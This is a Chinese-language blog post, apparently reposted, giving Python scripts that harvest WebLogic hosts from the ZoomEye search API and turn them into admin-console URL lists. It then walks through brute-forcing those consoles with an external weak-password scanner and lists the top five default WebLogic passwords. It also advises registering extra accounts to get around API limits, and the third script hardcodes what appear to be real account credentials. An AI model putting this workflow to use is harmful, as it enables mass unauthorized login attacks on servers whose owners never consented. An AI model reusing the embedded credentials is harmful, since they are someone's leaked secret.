從ZoomEye API 到 Weblogic 弱口令掃描


參考資料:
ZoomEye API: https://www.zoomeye.org/api/doc
Weblogic-Weakpassword-Scnner: https://github.com/dc3l1ne/Weblogic-Weakpassword-Scnner
Python 調用 ZoomEye API 批量獲取目標網站IP: http://www.cnblogs.com/anka9080/p/ZoomEyeAPI.html

本文參考以上資料,經過部分修改,以便於自己使用,現將其分享出來。為了表示對原作者敬意,特將其工作列在文首。

本文涉及兩方面的工作,從ZoomEye API獲取到想要的IP列表,再用Weblogic 弱口令掃描器對得到的地址進行掃描。

Github傳送: ZoomEye

一、從ZoomEye API獲取IP地址列表

"首先要說明的是,使用ZoomEye API需要先注冊賬號,使用方法是先提交賬戶,密碼獲得一個唯一的訪問令牌(access_token)"

"然后每次調用 API 的時候在 HTTP 的 Headers 里加上格式化后的 access_token 就可以使用了"

  使用python腳本從ZoomEye API 獲取到的IP地址數量是有限的,但由於其數量巨大,我們可以得到的便利也是巨大的。且ZoomEye 的爬蟲是一直在運行的,搜索得到的結果也是變動的,因此我們可以多注冊幾個賬號...

  

下面是從ZoomEye API 獲取IP地址的Demo

# coding: utf-8
# author  : evilclay
# datetime: 20160330
# http://www.cnblogs.com/anka9080/p/ZoomEyeAPI.html
# Modified by : starnight_cyber@foxmail.com
# Time : 2016.12.1

import os
import requests
import json
import time

access_token = ''
ip_list = []

def login():
    """
        輸入用戶名密碼 進行登錄操作
    :return: 訪問口令 access_token
    """
    user = raw_input('[-] input : username :')
    passwd = raw_input('[-] input : password :')
    data = {
        'username': user,
        'password': passwd
    }

    # dumps 將 python 對象轉換成 json 字符串
    data_encoded = json.dumps(data)
    try:
        r = requests.post(url='https://api.zoomeye.org/user/login', data=data_encoded)
        # loads() 將 json 字符串轉換成 python 對象
        r_decoded = json.loads(r.text)
        global access_token

        # 獲取到賬戶的access_token
        access_token = r_decoded['access_token']
    except Exception, e:
        print '[-] info : username or password is wrong, please try again '
        exit()


def saveStrToFile(file, str):
    """
        將access_token寫如文件中
    :return:
    """
    with open(file, 'w') as output:
        output.write(str)


def saveListToFiles(ip_list):
    '''
    :param ip_list: 使用ZoomEye接口獲得的ip列表
    : 會寫入到多個文件,保存格式不同,僅ip和 http://ip/console/login/LoginForm.jsp
    : 如http://162.105.205.162/console/login/LoginForm.jsp
    :return:
    '''

    # 以當前運行腳本的時間創建文件,這樣就可以保證腳本運行時創建的文件不會重名
    xtime = time.strftime("%Y-%m-%d[%H.%M.%S]")
    ip_list_file = open(xtime + 'ip.txt', 'w')
    url_list_file = open(xtime + 'url.txt', 'w')

    # 將list以一定格式寫入到文件中
    for line in ip_list:
        # ip格式
        ip_list_file.write(line + '\n')

        # weblogic 后台登錄地址格式
        url_list_file.write('http://' + line + '/console/login/LoginForm.jsp' + '\n')

    # 關閉文件
    ip_list_file.close()
    url_list_file.close()


def apiTest():
    """
        進行 api 使用測試
    :return:
    """
    page = 1        # 表示第幾頁
    num = 1         # 頁數
    index = 1       # 循環下標
    global access_token
    with open('access_token.txt', 'r') as input:
        access_token = input.read()
    # 將 token 格式化並添加到 HTTP Header 中
    headers = {
        'Authorization': 'JWT ' + access_token,
    }

    # 要搜索的字符串
    # query = 'port:80 weblogic country:China'
    query = raw_input('[*] please input search string : ')

    # 設置獲取結果的起始頁面,對於量比較大的時候比較有用
    page = int(raw_input('[*] please input start page : '))

    # 設置獲取的結果頁數
    num = int(raw_input('[*] please input number of pages you want to retrieve : '))

    while (True):
        try:
            # 將查詢字符串和頁數結合在一起構造URL
            searchurl = 'https://api.zoomeye.org/host/search?query=' + query + '&page=' + str(page)
            r = requests.get(url=searchurl, headers=headers)
            print searchurl
            r_decoded = json.loads(r.text)
            # print r_decoded
            # print r_decoded['total']
            for x in r_decoded['matches']:
                print x['ip']
                ip_list.append(x['ip'])
            print '[-] info : count ' + str(index * 10)

        except Exception, e:
            # 若搜索請求超過 API 允許的最大條目限制 或者 全部搜索結束,則終止請求
            if str(e.message) == 'matches':
                print '[-] info : account was break, excceeding the max limitations'
                break
            else:
                print '[-] info : ' + str(e.message)
        else:
            # 判斷頁數
            if index == num:
                break
            page += 1       # 用於獲取下一頁的結果
            index += 1
            # 輸出提示
            print 'page : ' + str(page) + ' - ' + 'index : ' + str(index)


def main():
    # 訪問口令文件不存在則進行登錄操作
    if not os.path.isfile('access_token.txt'):
        print '[-] info : access_token file is not exist, please login'
        login()
        # 保存access_token到文件中
        saveStrToFile('access_token.txt', access_token)

    # 從ZoomEye API 獲取IP地址列表
    apiTest()

    # 將結果保存到文件中
    saveListToFiles(ip_list)


if __name__ == '__main__':
    main()

 運行:

運行結束后保存了以時間命名的文件

 獲取到的IP列表

 Weblogic 后台登錄地址形式:

 

這樣,我們的第一步就完成了,得到了我們想要的IP地址列表。

二、使用Weblogic-Weakpassword-Scnner 掃描weblogic 后台弱口令

  得到有效的weblogic后台登錄地址:

  將第一步得到的url格式的文件,重命名為url.txt, 運行Weblogic-Weakpassword-Scnner 中的spider.py 腳本, 清除無效的url,得到u.txt, 為有效的weblogic 后台登錄地址,可以用來暴力破解。

python spider.py

  

  暴力破解:

  運行Weblogic-Weakpassword-Scnner 中的main.py 腳本, 進行暴力破解。

python main.py 100

  

命名為*.txt的文件中,保存了weblogic的后台登錄地址,及用戶和密碼。 

得到IP地址后,不僅僅是可以用來掃描Weblogic后台弱口令,接下來...

最后,附上Top5的弱口令:

weblogic
weblogic123
12345678
11111111
weblogic123456

 

三、ZoomEye Version 2

  在處理上做了些小的修改,之前端口處理有點問題,現已修正...

# -*- coding: utf-8 -*-
# author  : evilclay
# datetime: 20160330
# http://www.cnblogs.com/anka9080/p/ZoomEyeAPI.html
# Modified by : starnight_cyber@foxmail.com
# Time : 2016.12.8

import os
import requests
import json
import time

access_token = ''
ip_list = []
ip_port_list = []

def login():
    """
        輸入用戶名密碼 進行登錄操作
    :return: 訪問口令 access_token
    """
    user = raw_input('[-] input : username :')
    passwd = raw_input('[-] input : password :')
    data = {
        'username': user,
        'password': passwd
    }

    # dumps 將 python 對象轉換成 json 字符串
    data_encoded = json.dumps(data)
    try:
        r = requests.post(url='https://api.zoomeye.org/user/login', data=data_encoded)
        # loads() 將 json 字符串轉換成 python 對象
        r_decoded = json.loads(r.text)
        global access_token

        # 獲取到賬戶的access_token
        access_token = r_decoded['access_token']
    except Exception, e:
        print '[-] info : username or password is wrong, please try again '
        exit()


def saveStrToFile(file, str):
    """
        將access_token寫如文件中
    :return:
    """
    with open(file, 'w') as output:
        output.write(str)


def saveListToFiles(ip_list):
    '''
    :param ip_list: 使用ZoomEye接口獲得的ip列表
    : 會寫入到多個文件,保存格式不同,僅ip和 http://ip/console/login/LoginForm.jsp
    : 如http://162.105.205.162/console/login/LoginForm.jsp
    :return:
    '''

    # 以當前運行腳本的時間創建文件,這樣就可以保證腳本運行時創建的文件不會重名
    xtime = time.strftime("%Y-%m-%d[%H.%M.%S]")
    ip_list_file = open(xtime + 'ip.txt', 'w')
    ip_port_list_file = open(xtime + 'ip:port.txt', 'w')

    # 將ip以一定格式寫入到文件中
    for line in ip_list:
        ip_list_file.write(line + '\n')

    #  將ip,port寫入文件中
    for line in ip_port_list:
        ip_port_list_file.write(line + '\n')

    # 關閉文件
    ip_list_file.close()
    ip_port_list_file.close()


def apiTest():
    """
        進行 api 使用測試
    :return:
    """
    page = 1        # 表示第幾頁
    num = 1         # 頁數
    index = 1       # 循環下標
    global access_token
    with open('access_token.txt', 'r') as input:
        access_token = input.read()
    # 將 token 格式化並添加到 HTTP Header 中
    headers = {
        'Authorization': 'JWT ' + access_token,
    }

    # 要搜索的字符串
    # query = 'port:80 weblogic country:China'
    query = raw_input('[*] please input search string : ')

    # 設置獲取結果的起始頁面,對於量比較大的時候比較有用
    page = int(raw_input('[*] please input start page : '))

    # 設置獲取的結果頁數
    num = int(raw_input('[*] please input number of pages you want to retrieve : '))

    while (True):
        try:
            # 將查詢字符串和頁數結合在一起構造URL
            searchurl = 'https://api.zoomeye.org/host/search?query=' + query + '&page=' + str(page)
            r = requests.get(url=searchurl, headers=headers)
            print searchurl
            r_decoded = json.loads(r.text)
            # print r_decoded
            # print r_decoded['total']
            for x in r_decoded['matches']:
                print x['ip'], x['portinfo']['port']
                ip_list.append(x['ip'])
                ip_port_list.append(x['ip'] + ', ' + str(x['portinfo']['port']))
            print '[-] info : count ' + str(index * 10)

        except Exception, e:
            # 若搜索請求超過 API 允許的最大條目限制 或者 全部搜索結束,則終止請求
            if str(e.message) == 'matches':
                print '[-] info : account was break, excceeding the max limitations'
                break
            else:
                print '[-] info : ' + str(e.message)
        finally:
            # 判斷頁數
            if index == num:
                break
            page += 1       # 用於獲取下一頁的結果
            index += 1
            # 輸出提示
            print 'page : ' + str(page) + ' - ' + 'index : ' + str(index)


def main():
    # 訪問口令文件不存在則進行登錄操作
    if not os.path.isfile('access_token.txt'):
        print '[-] info : access_token file is not exist, please login'
        login()
        # 保存access_token到文件中
        saveStrToFile('access_token.txt', access_token)

    # 從ZoomEye API 獲取IP地址列表
    apiTest()

    # 將結果保存到文件中
    saveListToFiles(ip_list)


if __name__ == '__main__':
    main()

三、ZoomEye Version 3 [2018.1.8更新]

直接貼代碼吧:

#!/usr/bin/python
# encoding: utf-8
import requests as req
import json
import optparse
import time
import sys
import os

class ZoomEye:

    def __init__(self):
        self.initParameter()
        username = 'zl15@foxmail.com'
        password = 'liu120808'
        self.account = {'username': username,'password': password}
        self.headers = {'Authorization': 'JWT ' + self.getToken()}

    def search(self):
        self.isFIle(self.options.file)
        queryType = self.options.type
        queryStr = self.options.query
        try:
            result = req.get('https://api.zoomeye.org/'+ queryType + '/search?query=' + queryStr + '&page=1', \
                    headers=self.headers, timeout = 15)
        except:
            print "Error exit..."
            sys.exit()
        if result.status_code != 200:
            print "error: ",
            print result.content
            print "exit..."
            sys.exit()
        resultDict = json.loads(result.content)
        # print result.content #獲取第一頁的所有結果
        pages = self.getPageNum(int(resultDict['total']))
        print 'There are %d pages to fetch' % pages

        userAgent = {'user-agent': 'Mozilla/5.0(iPad; U; CPU OS 3_2_1 like Mac OS X; en-us)AppleWebKit/\
            531.21.10(KHTML, like Gecko)Mobile/7B405'}
        self.headers['user-agent'] = userAgent

        start = time.time()
        starPage = 0
        for i in xrange(starPage, pages, 1):
            targetList = []
            try:
                result = req.get('https://api.zoomeye.org/' + queryType +'/search?query='+ queryStr +'&page='+\
                    str(i+1), headers=self.headers, timeout=15)
                # print "Get page " + str(i+1) + " info ..."
                now = time.time()
                print '[ %d / %d ] ==> time elapse %s s ...' % (i, pages, int(now - start))
            except:
                print "Page " + str(i) + " ,  Error exit..."
                # sys.exit()
                continue
            if result.status_code != 200:
                print "error: ",
                print result.content
                print "exit..."
                sys.exit()
                # print result.content #每頁的結果
            self.getFileContent(targetList, result.content)
            self.writeTofile(self.options.file, targetList)
        print "The result in " + self.options.file

    def getFileContent(self, targetList, result):
        result = json.loads(result)
        # print result
        if self.options.type == 'web':
            for eachResult in result['matches']:
                # print eachResult
                # 獲取目標站點
                targetList.append(eachResult['site'])
            print targetList
            return targetList
        for eachResult in result['matches']:
            # targetList.append(eachResult['ip'] + ':' + str(eachResult['portinfo']['port']))
            ip_port = eachResult['ip'] + ':' + str(eachResult['portinfo']['port'])
            print ip_port
            targetList.append(ip_port)
        return targetList

    def getPageNum(self, total):
        if total == 0:
            print "No result, exit.."
            sys.exit()
        page = total/10
        if total%10 == 0:
            return page
        return page + 1

    def getToken(self):
        token = req.post('https://api.zoomeye.org/user/login',json.dumps(self.account)).content
        print token
        return json.loads(token)['access_token']

    def writeTofile(self, filename, targetList):
        with open(filename, 'a') as f:
            for eachTarget in targetList:
                f.write(eachTarget + "\n")
                time.sleep(0.2)

    def isFIle(self,filename):
        if not os.path.isfile(filename):
            return
        print 'result file is exists, continue ?',
        choice = raw_input("(y/n): ")
        if choice.lower() == 'n':
            print 'Please rename filename, exit ...'
            sys.exit()
        if choice.lower() == 'y':
            return
        else:
            return self.isFIle(filename)

    def initParameter(self):
        usage = '''
         _____                     _____
        |__  /___   ___  _ __ ___ | ____|   _  ___
          / // _ \ / _ \| '_ ` _ \|  _|| | | |/ _
         / /| (_) | (_) | | | | | | |__| |_| |  __/
        /____\___/ \___/|_| |_| |_|_____\__, |\___|
                                        |___/
            '''
        parser = optparse.OptionParser(usage = usage)
        parser.add_option("-t", "--type",
                          default='web',
                          help='''Search type like host ,web  (e.g. "https://api.zoomeye.org/host/\
                                  search?query=port:21")''')

        parser.add_option("-q", "--query",
                          help="What you search is your need")

        parser.add_option("-f", "--file",
                          help="The file will save result's IP or domain")

        (self.options, args) = parser.parse_args()
        if self.options.query == None or self.options.file == None:
            print parser.print_help()
            print "Please Completed  parameters, you can show -h to get help"
            sys.exit()
        else:
            print usage


if __name__ == '__main__':
    ZE = ZoomEye()
    try:
        ZE.search()
    except KeyboardInterrupt:
        print "Ctrl + C exit..."
        sys.exit()

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM